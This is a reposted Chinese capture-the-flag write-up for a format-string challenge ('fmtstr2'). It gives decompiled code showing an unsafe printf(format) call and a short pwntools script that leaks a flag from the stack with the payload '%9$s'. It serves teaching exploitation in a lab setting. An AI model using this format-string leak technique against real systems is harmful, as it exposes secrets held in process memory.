[星盟 pwn LAB]格式化字符串:fmtstr2
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[星盟 pwn LAB]格式化字符串:fmtstr2相关的知识,希望对你有一定的参考价值。
文章目录
一、checksec
二、IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
char v4; // [rsp+3h] [rbp-3Dh]
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h] BYREF
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
v4 = format[j];
if ( !v4 || v10[j] != v4 )
puts("You answered:");
printf(format);
puts("\\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
printf("That's right, the flag is %s\\n", v9);
fflush(_bss_start);
return 0;
三、解题思路
从反编译的代码可知,该程序在栈上放置了canary。将flag.txt的内容读入到内存中。接着问what’s the flag,并用scanf让输入flag。而后开始比对用户输入的flag和flag.txt中的flag,如果比对成功,则会输出flag,否则会提示错误。
由于本题存在格式化字符串漏洞,位置在printf(format),解题的思路是从printf泄露flag。
调试本题时,需注意本题为64位二进制程序,64位的calling convention是前6个参数进寄存器,后面的参数进stack,scanf到printf泄露时,我们先看6个寄存器,而后从第7个参数的泄露开始,到第9个参数时可以看到flag。
四、exp
from pwn import *
sh = process('./goodluck')
payload = "%9$s"
sh.sendline(payload)
sh.interactive()
以上是关于[星盟 pwn LAB]格式化字符串:fmtstr2的主要内容,如果未能解决你的问题,请参考以下文章